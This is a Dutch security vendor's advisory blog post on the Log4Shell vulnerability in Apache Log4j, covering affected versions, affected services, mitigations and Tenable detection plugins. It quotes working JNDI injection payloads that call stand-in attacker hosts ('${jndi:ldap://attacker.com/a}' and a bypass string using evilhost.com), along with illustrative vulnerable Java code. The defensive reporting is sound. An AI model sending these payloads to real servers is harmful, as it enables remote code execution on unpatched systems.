Helaas gebeurt het vaak vlak voor het weekend. Een ernstig lek in stuk software die veelvuldig wordt gebruikt binnen heel veel systemen, waaronder Apple iCloud en Minecraft. Via dit blog houden we jullie op de hoogte van de laatste updates rondom deze kwetsbaarheid, hoe je kan beschermen en hoe je kan detecteren. Dit blog wordt de komende tijd aangevuld met updates rondom #log4j.
Bronnen: Access42, Tenable, CrowdStrike, Vectra
Apache Log4j van 2.0-beta9 tot 2.14, 2.15 en 2.16
Log4j versie 1 is kwetsbaar voor andere RCE aanvallen (bijvoorbeeld CVE-2019-17571), als je deze nog gebruikt moet je migreren naar minimaal versie 2.16.0.
Updates:
Op 9 december hebben onderzoekers proof-of-concept (PoC) exploitcode gepubliceerd voor een kritieke kwetsbaarheid in Apache Log4j 2, een Java-logbibliotheek die wordt gebruikt door een aantal toepassingen en diensten, waaronder, maar niet beperkt tot:
Wanneer de kwetsbaarheid wordt uitgebuit, zal Log4j Remote Code Execution (RCE) mogelijk maken. Dit wordt bijzonder problematisch omdat softwarepakketten zoals Apache Struts meestal op het internet zijn gericht.
De Log4j bibliotheek wordt vaak meegeleverd of gebundeld met softwarepakketten van derde partijen en wordt zeer vaak gebruikt in combinatie met Apache Struts. De CVE treft alle ongepatchte versies van Log4j van 2.0-beta9 tot 2.14.
De onderzoekers noemden deze kwetsbaarheid Log4Shell en meldden dat verschillende versies van Minecraft, het populaire sandbox videospel, door deze kwetsbaarheid waren getroffen.
there's a minecraft client & server exploit open right now which abuses a vulerability in log4j versions 2.0 – 2.14.1, there are proofs of concept going around already.
— ᵃᵈᵃᵐ (@twokilohertz) December 9, 2021
Daarnaast blijken ook clouddiensten als Steam en Apple iCloud getroffen te zijn.
Deze kwetsbaarheid wordt als zo ernstig beschouwd dat de CEO van Cloudflare van plan is om alle klanten bescherming te bieden.
We’ve made the determination that #Log4J is so bad we’re going to try and roll out at least some protection for all @Cloudflare customers by default, even free customers who do not have our WAF. Working on how to do that safely now.
— Matthew Prince 🌥 (@eastdakota) December 10, 2021
Ondertussen is de tweede Log4j-kwetsbaarheid (CVE-2021-45046) opgewaardeerd van een CVSS-score van 3,7 (beperkt DOS) naar een CVSS-score van 9,0 (RCE).
The localhost bypass was discovered and posted by @marcioalmhttps://t.co/lG8lUwaoAW https://t.co/JWWaO8fWvw
— LunaSec (@LunaSecIO) December 17, 2021
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
— Márcio Almeida (@marcioalm) December 17, 2021
CVE-2021-44228 is een remote code execution (RCE) kwetsbaarheid in Apache Log4j 2. Een niet-geauthenticeerde aanvaller op afstand kan dit lek misbruiken door een speciaal gemanipuleerd verzoek te sturen naar een server met een kwetsbare versie van Log4j. Het gemanipuleerde verzoek gebruikt een Java Naming and Directory Interface (JNDI) injectie via een aantal diensten, waaronder:
Als de kwetsbare server log4j gebruikt om verzoeken te loggen, zal de exploit vervolgens een kwaadaardige payload over JNDI via een van de bovenstaande diensten opvragen bij een door de aanvaller gecontroleerde server. Succesvolle exploitatie kan leiden tot RCE.
De meeste nieuwspublicaties gaan uit van een situatie waarbij een internet-facing component gebruik maakt van een kwetsbare Log4j. Hierdoor bestaat bij sommige organisaties al snel het beeld dat er alleen dat een risico bestaat.
Helaas, niets is minder waar. De impact van deze kwetsbaarheid kunnen zulke verstrekkende gevolgen hebben dat dit ook de interne IT-infrastructuur kan raken, waarbij ook het internet-facing component geen gebruik hoeft te maken van een Log4j bibliotheek.
In de onderstaande afbeelding heeft Access42 deze use-case inzichtelijk gemaakt:
Toelichting use-case aanval:
De bovenstaande use-case laat de verstrekkende gevolgen zien van de CVE-2021-44228 kwetsbaarheid. Deze situatie is niet goed te overzien door organisaties en betekent dat het ook van belang is om afdoende maatregelen te hebben voor de interne IT-infrastructuur.
Het is van belang dat organisaties ook zorgen dat er ook mitigerende maatregelen zijn genomen voor de interne IT-infrastructuur.
Mass scanning activity detected from multiple hosts checking for servers using Apache Log4j (Java logging library) vulnerable to remote code execution (https://t.co/GgksMUlf94).
— Bad Packets (@bad_packets) December 10, 2021
Query our API for "tags=CVE-2021-44228" for source IP addresses and other IOCs. #threatintel
Wij zien op dit moment samen met onze partners CrowdStrike, Vectra en Tenable een enorme toename van verschillende (onbekende) actoren die actief scannen voor de CVE-2021-44228 en deze proberen uit te buiten. Het is van cruciaal belang dat organisaties kwetsbare infrastructuur zo snel mogelijk gaat patchen.
Daarnaast zijn er meerdere meldingen dat de kwetsbaarheid actief gebruikt wordt voor het implanteren van cryptocurrency miners.
this log4shell payload is… a coin miner
— Kevin Beaumont (@GossiTheDog) December 10, 2021
the vulnerability has arrived pic.twitter.com/XUR7I5ydpP
De kwetsbaarheid in deze functionaliteit kan worden uitgebuit als er een logbericht weggeschreven wordt. Dit komt in allerlei verschillende situaties voor en is context-afhankelijk, zoals bijvoorbeeld:
Kortom: Applicaties die op afstand toegankelijk zijn, gebruikersinvoer kunnen verwerken en een kwetsbare versie van log4j gebruiken om deze invoer te loggen, zijn in potentie kwetsbaar.
De eerste PoC voor CVE-2021-44228 werd vrijgegeven op 9 december, nog voordat de CVE-identificatie werd toegekend. Op het moment dat deze blog post werd gepubliceerd, waren er nog een aantal PoC’s beschikbaar op GitHub.
Exploit requirements:
log4j
versie (zie hierboven),import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Christophetd heeft op Github een omschrijving gemaakt om de kwetsbaarheid lokaal te testen en te reproduceren.
${jndi:ldap://attacker.com/a}
(where attacker.com
is an attacker controlled server),log4j
vulnerability is triggered by this payload and the server makes a request to attacker.com
via “Java Naming and Directory Interface” (JNDI),http://second-stage.attacker.com/Exploit.class
) which is injected into the server process,Omdat Java kwetsbaarheden zoals deze veel voorkomen, hebben beveiligingsonderzoekers tools gemaakt om ze gemakkelijk uit te buiten. Het marshalsec project is een van de vele die demonstreert hoe een exploit payload kan worden gegenereerd die voor deze kwetsbaarheid kan worden gebruikt. Je kunt deze kwaadaardige LDAP server bekijken voor een voorbeeld van exploitatie.
Access42 komt tot de volgende adviezen:
Egress filtering toepassen
Het advies is om egress filtering toe te passen om de impact van de kwetsbaarheid te mitigeren. Hierdoor is het nog steeds mogelijk om JNDI exploit strings te injecteren in Log4j berichten, maar is er een beperktere impact doordat er geen malicious payload via JNDI van het internet kunnen worden gedownload.
Intrusion Prevention System (IPS)
Het advies is om een Intrusion Prevention System (IPS) te gebruiken met signatures voor detectie en preventie van CVE-2021-44228. Emerging Threats (ET) heeft voor Suricata bijvoorbeeld detectieregels vrijgegeven (publiekelijk en gratis), maar zo hebben verschillende andere vendoren dit ook gedaan.
Controleer of deze signatures ook actief en effectief zijn.
Patching van Log4j
Het advies is om Log4j te patchen. Hoewel Apache op 6 december een release candidate publiceerde om deze kwetsbaarheid te verhelpen, was deze onvolledig. Apache bracht 2.15.0 uit op 10 december, deze bevatte een nieuwe kwetsbaarheid (CVE-2021-45046, beperkt RCE). Het is raadzaam te updaten naar versie 2.17.0.
Log4j 2.15.0 en hoger vereist Java 8. Organisaties die Java 7 gebruiken zullen daarom eerst moeten upgraden voordat ze kunnen updaten naar de gepatchte versie van Log4j.
Apache adviseert dat als patchen niet direct mogelijk is, er drie manieren zijn om deze kwetsbaarheid tegen te gaan:
Mitigation | Applicable Versions |
---|---|
Set log4j.formatMsgNoLookups or Dlog4j.formatMsgNoLookups to true | Log4j 2.10 or greater |
Use %m{nolookups} in the PatternLayout configuration | Log4j 2.7 or greater |
Remove JdniLookup and JdniManager classes from log4j-core.jar | All Log4j 2 versions |
Omdat Log4j in een aantal webapplicaties is opgenomen en door verschillende cloud-diensten wordt gebruikt, zal de volledige omvang van deze kwetsbaarheid nog wel even op zich laten wachten. Op het moment van publicatie van deze blogpost is echter bevestigd dat onder meer de volgende producten en diensten kwetsbaar zijn:
Product/Service | Confirmed Affected |
---|---|
Minecraft | Yes |
Steam | Yes |
Apple iCloud | Yes |
Tencent | Yes |
Yes | |
Baidu | Yes |
Didi | Yes |
Cloudflare | Yes |
Amazon | Yes |
Tesla | Yes |
ElasticSearch | Yes |
Ghidra | Yes |
Er wordt een GitHub repository bijgehouden die het aanvalsoppervlak van deze kwetsbaarheid belicht.
Om te voorkomen dat er een agile kwetsbaarheid optreed omdat productie wel is gepatched, maar de volgende sprint vanuit acceptatie deze patch niet heeft, raden we aan alle omgevingen te patchen. Hiermee voorkomt u dat de kwetsbaarheid opnieuw tevoorschijn komt.
Een lijst van Tenable plugins om deze kwetsbaarheid te identificeren zal hier verschijnen wanneer ze worden vrijgegeven. Daarnaast willen we graag de volgende plugins onder de aandacht brengen (beschikbaar in plugin set 202112112213 en later) :
Remote checks
Version checks and local detection (authentication required)
Daarnaast is een uitgebreide Tenable.io Web App Scanning (WAS) plugin uitgebracht die kan worden gebruikt om invoervelden te testen die kunnen worden gebruikt om Log4Shell te exploiteren.
Tenable heeft scans templates uitgebracht voor Tenable.io, Tenable.sc en Nessus Professional die vooraf zijn geconfigureerd om snel op deze kwetsbaarheid te kunnen scannen. Daarnaast beschikken Tenable.io klanten over een nieuw dashboard en widgets in de widgets-bibliotheek.
Tenable.sc gebruikers hebben ook een nieuw Log4Shell dashboard. Om ervoor te zorgen dat uw scanner over de nieuwste beschikbare plugins beschikt, raden wij je aan de plugin-set handmatig bij te werken. Nessus-gebruikers, inclusief Tenable.io Nessus-scanners, kunnen het volgende Nessus CLI-commando gebruiken:
nessuscli fix –secure –delete feed_auto_last
Cookie | Duration | Description |
---|---|---|
_GRECAPTCHA | 5 months 27 days | This cookie is set by Google. In addition to certain standard Google cookies, reCAPTCHA sets a necessary cookie (_GRECAPTCHA) when executed for the purpose of providing its risk analysis. |
cookielawinfo-checkbox-advertisement | 1 year | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Advertisement". |
cookielawinfo-checkbox-analytics | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics". |
cookielawinfo-checkbox-functional | 11 months | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional". |
cookielawinfo-checkbox-necessary | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary". |
cookielawinfo-checkbox-others | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. |
cookielawinfo-checkbox-performance | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". |
CookieLawInfoConsent | 1 year | Records the default button state of the corresponding category & the status of CCPA. It works only in coordination with the primary cookie. |
viewed_cookie_policy | 11 months | The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data. |
Cookie | Duration | Description |
---|---|---|
bcookie | 2 years | This cookie is set by linkedIn. The purpose of the cookie is to enable LinkedIn functionalities on the page. |
lang | session | This cookie is used to store the language preferences of a user to serve up content in that stored language the next time user visit the website. |
lidc | 1 day | This cookie is set by LinkedIn and used for routing. |
Cookie | Duration | Description |
---|---|---|
YSC | session | This cookies is set by Youtube and is used to track the views of embedded videos. |
Cookie | Duration | Description |
---|---|---|
_ga | 2 years | This cookie is installed by Google Analytics. The cookie is used to calculate visitor, session, campaign data and keep track of site usage for the site's analytics report. The cookies store information anonymously and assign a randomly generated number to identify unique visitors. |
_gat_gtag_UA_116473530_1 | 1 minute | This cookie is set by Google and is used to distinguish users. |
_gat_UA-116473530-1 | 1 minute | This is a pattern type cookie set by Google Analytics, where the pattern element on the name contains the unique identity number of the account or website it relates to. It appears to be a variation of the _gat cookie which is used to limit the amount of data recorded by Google on high traffic volume websites. |
_gid | 1 day | This cookie is installed by Google Analytics. The cookie is used to store information of how visitors use a website and helps in creating an analytics report of how the website is doing. The data collected including the number visitors, the source where they have come from, and the pages visted in an anonymous form. |
Cookie | Duration | Description |
---|---|---|
bscookie | 2 years | This cookie is a browser ID cookie set by Linked share Buttons and ad tags. |
IDE | 1 year 24 days | Used by Google DoubleClick and stores information about how the user uses the website and any other advertisement before visiting the website. This is used to present users with ads that are relevant to them according to the user profile. |
prism_476809757 | 1 month | Used by ActiveCampaign to track usage of newsletters |
test_cookie | 15 minutes | This cookie is set by doubleclick.net. The purpose of the cookie is to determine if the user's browser supports cookies. |
VISITOR_INFO1_LIVE | 5 months 27 days | This cookie is set by Youtube. Used to track the information of the embedded YouTube videos on a website. |
yt-remote-connected-devices | never | YouTube sets this cookie to store the video preferences of the user using embedded YouTube video. |
yt-remote-device-id | never | YouTube sets this cookie to store the video preferences of the user using embedded YouTube video. |
Cookie | Duration | Description |
---|---|---|
AnalyticsSyncHistory | 1 month | No description |
CONSENT | 16 years 7 months 5 days 13 hours | No description |
li_gc | 2 years | No description |
UserMatchHistory | 1 month | Linkedin - Used to track visitors on multiple websites, in order to present relevant advertisement based on the visitor's preferences. |